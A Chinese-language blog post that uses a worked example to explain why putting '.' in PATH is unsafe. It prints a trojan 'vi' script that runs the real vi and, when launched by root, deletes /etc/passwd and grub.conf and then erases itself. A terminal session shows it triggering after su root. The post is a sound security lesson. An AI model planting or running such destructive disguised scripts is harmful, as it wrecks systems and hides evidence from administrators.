可能很多人都知道将.加入PATH路径是不安全的做法,但未必很多人知道这样的做法为什么不安全。下面鄙人(哈哈)通过一个实际的案例来说明。
首先我们假设我们系统有一个mark和badboy用户,mark作为系统管理员,但badboy平时和mark不合,心生怨恨,他想要给mark的系统管理工作搞些破坏(这人好奸诈),于是badboy在自己的家目录下建立了一个破坏脚本。请看下面。
[badboy@localhost ~]$ pwd
/home/badboy
[badboy@localhost ~]$ cat vi
#!/bin/bash
/bin/vi # 执行正常的vi命令,mark不会发觉。
case $(whoami) in #如果是root用户
root) #删除存放所用用户的密码文件(好邪恶)
rm -f /etc/passwd
#删除引导文件。重启后机器必须手工引导(这个更邪恶)
rm -f /boot/grub/grub.conf
# 销毁证据,badboy的反侦察能力很强!
rm -f /home/badboy/vi
;;
esac
如果哪天管理员mark 使用 su root命令进入了badboy的家目录,并且执行了vi命令,badboy会奸笑的恭喜mark中招了。下面我演示一下mark中招的过程。
[mark@localhost ~]$ echo $PATH
:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/mark/bin #.在当前目录并在首位。
[mark@localhost ~]$ su root #root将继承mark的PATH路径
口令:
[root@localhost mark]# cd /home/badboy
[root@localhost badboy]# vi info
the terrible things happend!!!
"info" [New] 1L, 31C written
[root@localhost badboy]# cat /etc/passwd
cat: /etc/passwd: 没有那个文件或目录 #passed已被删除
[root@localhost badboy]# cat /boot/grub/grub.conf
cat: /boot/grub/grub.conf: 没有那个文件或目录 #引导文件也已被删除
[root@localhost badboy]# ls
info #罪证也已被删除
从上面的列子可以看出, 将.加入PATH 是很不安全的。呵呵。其次作为管理员,/etc/目录一定要备份奥,这个目录是灰常的重要哈。
阅读(3141) | 评论(0) | 转发(0) |